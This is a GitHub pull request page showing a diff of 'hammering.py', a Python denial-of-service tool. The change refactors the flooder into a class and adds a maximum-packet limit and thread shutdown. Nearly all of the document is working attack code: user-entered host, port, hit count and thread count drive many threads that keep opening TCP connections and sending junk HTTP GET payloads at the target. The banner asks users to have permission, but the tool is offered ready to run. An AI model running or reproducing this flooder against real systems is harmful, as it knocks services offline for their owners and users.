Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Max Packet Limit and Graceful Termination for DoS Tool #1

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
160 changes: 88 additions & 72 deletions hammering.py
Original file line number Diff line number Diff line change
@@ -1,4 +1,3 @@

"""
/*
* This DOS-TOOL was written by depascaldc ( Discord: depascaldc#1234 ) < [email protected] >
Expand All @@ -8,27 +7,40 @@
*/
"""

#!/usr/bin/env python3

import socket
import time
import os
import random
from threading import Thread, Event
from colorama import Fore, Style, init

from threading import Thread

os.system("clear")
init(autoreset=True)

if not __name__ == "__main__":
exit()

class ConsoleColors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
BOLD = '\033[1m'

print(ConsoleColors.BOLD + ConsoleColors.WARNING + '''
HEADER = Fore.MAGENTA
OKBLUE = Fore.BLUE
OKGREEN = Fore.GREEN
WARNING = Fore.YELLOW
FAIL = Fore.RED
BOLD = Style.BRIGHT

class DosTool:
def __init__(self):
self.host = None
self.port = None
self.speedPerRun = None
self.threads = None
self.ip = None
self.bytesToSend = random._urandom(2450)
self.packetCounter = 0
self.stop_event = Event()
self.max_packets = None

def print_banner(self):
os.system("clear")
print(ConsoleColors.BOLD + ConsoleColors.WARNING + '''
____ ____ _____ _
| _ \ ___/ ___| |_ _|__ ___ | |
| | | |/ _ \___ \ _____| |/ _ \ / _ \| |
Expand All @@ -40,81 +52,85 @@ class ConsoleColors:
Make sure you have the
permission to attack the
given host

''')

def getport():
try:
p = int(input(ConsoleColors.BOLD + ConsoleColors.OKGREEN + "Port:\r\n"))
return p
except ValueError:
print(ConsoleColors.BOLD + ConsoleColors.WARNING + "ERROR Port must be a number, Set Port to default " + ConsoleColors.OKGREEN + "80")
return 80

host = input(ConsoleColors.BOLD + ConsoleColors.OKBLUE + "Host:\r\n")
port = getport()
speedPerRun = int(input(ConsoleColors.BOLD + ConsoleColors.HEADER + "Hits Per Run:\r\n"))
threads = int(input(ConsoleColors.BOLD + ConsoleColors.WARNING + "Thread Count:\r\n"))

ip = socket.gethostbyname(host)

bytesToSend = random._urandom(2450)

i = 0;

''')

def get_port(self):
try:
p = int(input(ConsoleColors.BOLD + ConsoleColors.OKGREEN + "Port: "))
return p
except ValueError:
print(ConsoleColors.BOLD + ConsoleColors.WARNING +
"ERROR Port must be a number, setting Port to default 80")
return 80

class Count:
packetCounter = 0
def initialize(self):
self.host = input(ConsoleColors.BOLD + ConsoleColors.OKBLUE + "Host: ")
self.port = self.get_port()
self.speedPerRun = int(input(ConsoleColors.BOLD + ConsoleColors.HEADER + "Hits Per Run: "))
self.threads = int(input(ConsoleColors.BOLD + ConsoleColors.WARNING + "Thread Count: "))
self.max_packets = int(input(ConsoleColors.BOLD + ConsoleColors.OKGREEN + "Max Packets to Send: "))
self.ip = socket.gethostbyname(self.host)

def goForDosThatThing():
try:
while True:
def attack(self):
while not self.stop_event.is_set() and self.packetCounter < self.max_packets:
dosSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
dosSocket.connect((ip, port))
for i in range(speedPerRun):
dosSocket.connect((self.ip, self.port))
for _ in range(self.speedPerRun):
if self.packetCounter >= self.max_packets:
self.stop_event.set()
break
try:
dosSocket.send(str.encode("GET ") + bytesToSend + str.encode(" HTTP/1.1 \r\n"))
dosSocket.sendto(str.encode("GET ") + bytesToSend + str.encode(" HTTP/1.1 \r\n"), (ip, port))
print(ConsoleColors.BOLD + ConsoleColors.OKGREEN + "-----< PACKET " + ConsoleColors.FAIL + str(Count.packetCounter) + ConsoleColors.OKGREEN + " SUCCESSFUL SENT AT: " + ConsoleColors.FAIL + time.strftime("%d-%m-%Y %H:%M:%S", time.gmtime()) + ConsoleColors.OKGREEN + " >-----")
Count.packetCounter = Count.packetCounter + 1
dosSocket.send(str.encode("GET ") + self.bytesToSend + str.encode(" HTTP/1.1 \r\n"))
dosSocket.sendto(str.encode("GET ") + self.bytesToSend + str.encode(" HTTP/1.1 \r\n"), (self.ip, self.port))
self.packetCounter += 1
print(ConsoleColors.BOLD + ConsoleColors.OKGREEN + f"\r-----< PACKET {ConsoleColors.FAIL}{self.packetCounter}{ConsoleColors.OKGREEN} SUCCESSFUL SENT AT: {ConsoleColors.FAIL}{time.strftime('%d-%m-%Y %H:%M:%S', time.gmtime())}{ConsoleColors.OKGREEN} >-----", end="")
except socket.error:
print(ConsoleColors.WARNING + "ERROR, Maybe the host is down?!?!")
except KeyboardInterrupt:
print(ConsoleColors.BOLD + ConsoleColors.FAIL + "\r\n[-] Canceled by user")
break
except socket.error:
print(ConsoleColors.WARNING + "ERROR, Maybe the host is down?!?!")
except KeyboardInterrupt:
print(ConsoleColors.BOLD + ConsoleColors.FAIL + "\r\n[-] Canceled by user")
dosSocket.close()
except KeyboardInterrupt:
print(ConsoleColors.BOLD + ConsoleColors.FAIL + "\r\n[-] Canceled by user")
try:

print(ConsoleColors.BOLD + ConsoleColors.OKBLUE + '''

def start_attack(self):
print(ConsoleColors.BOLD + ConsoleColors.OKBLUE + '''
_ _ _ _ ____ _ _ _
/ \ | |_| |_ __ _ ___| | __ / ___|| |_ __ _ _ __| |_(_)_ __ __ _
/ _ \| __| __/ _` |/ __| |/ / \___ \| __/ _` | '__| __| | '_ \ / _` |
/ ___ \ |_| || (_| | (__| < ___) | || (_| | | | |_| | | | | (_| |
/_/ \_\__|\__\__,_|\___|_|\_\ |____/ \__\__,_|_| \__|_|_| |_|\__, |
|___/
''')
print(ConsoleColors.BOLD + ConsoleColors.OKGREEN + "LOADING >> [ ] 0% ")
time.sleep(1)
print(ConsoleColors.BOLD + ConsoleColors.OKGREEN + "LOADING >> [===== ] 25%")
time.sleep(1)
print(ConsoleColors.BOLD + ConsoleColors.WARNING + "LOADING >> [========== ] 50%")
time.sleep(1)
print(ConsoleColors.BOLD + ConsoleColors.WARNING + "LOADING >> [=============== ] 75%")
time.sleep(1)
print(ConsoleColors.BOLD + ConsoleColors.FAIL + "LOADING >> [====================] 100%")

for i in range(threads):
try:
t = Thread(target=goForDosThatThing)
print(ConsoleColors.BOLD + ConsoleColors.OKGREEN + "LOADING >> [ ] 0% ", end="\r")
time.sleep(1)
print(ConsoleColors.BOLD + ConsoleColors.OKGREEN + "LOADING >> [===== ] 25% ", end="\r")
time.sleep(1)
print(ConsoleColors.BOLD + ConsoleColors.WARNING + "LOADING >> [========== ] 50% ", end="\r")
time.sleep(1)
print(ConsoleColors.BOLD + ConsoleColors.WARNING + "LOADING >> [=============== ] 75% ", end="\r")
time.sleep(1)
print(ConsoleColors.BOLD + ConsoleColors.FAIL + "LOADING >> [====================] 100%")

threads = []

for i in range(self.threads):
t = Thread(target=self.attack)
t.start()
threads.append(t)

try:
for t in threads:
t.join() # Thread'lerin bitmesini bekliyoruz
except KeyboardInterrupt:
print(ConsoleColors.BOLD + ConsoleColors.FAIL + "\r\n[-] Canceled by user")
except KeyboardInterrupt:
print(ConsoleColors.BOLD + ConsoleColors.FAIL + "\r\n[-] Canceled by user")
self.stop_event.set() # Tüm thread'leri durduruyoruz
print(ConsoleColors.BOLD + ConsoleColors.FAIL + "\n\n[-] Canceled by user. Stopping all threads...")
for t in threads:
t.join() # Tüm thread'lerin bitmesini bekliyoruz
print(ConsoleColors.BOLD + ConsoleColors.OKGREEN + "All threads have been stopped successfully.")

if __name__ == "__main__":
tool = DosTool()
tool.print_banner()
tool.initialize()
tool.start_attack()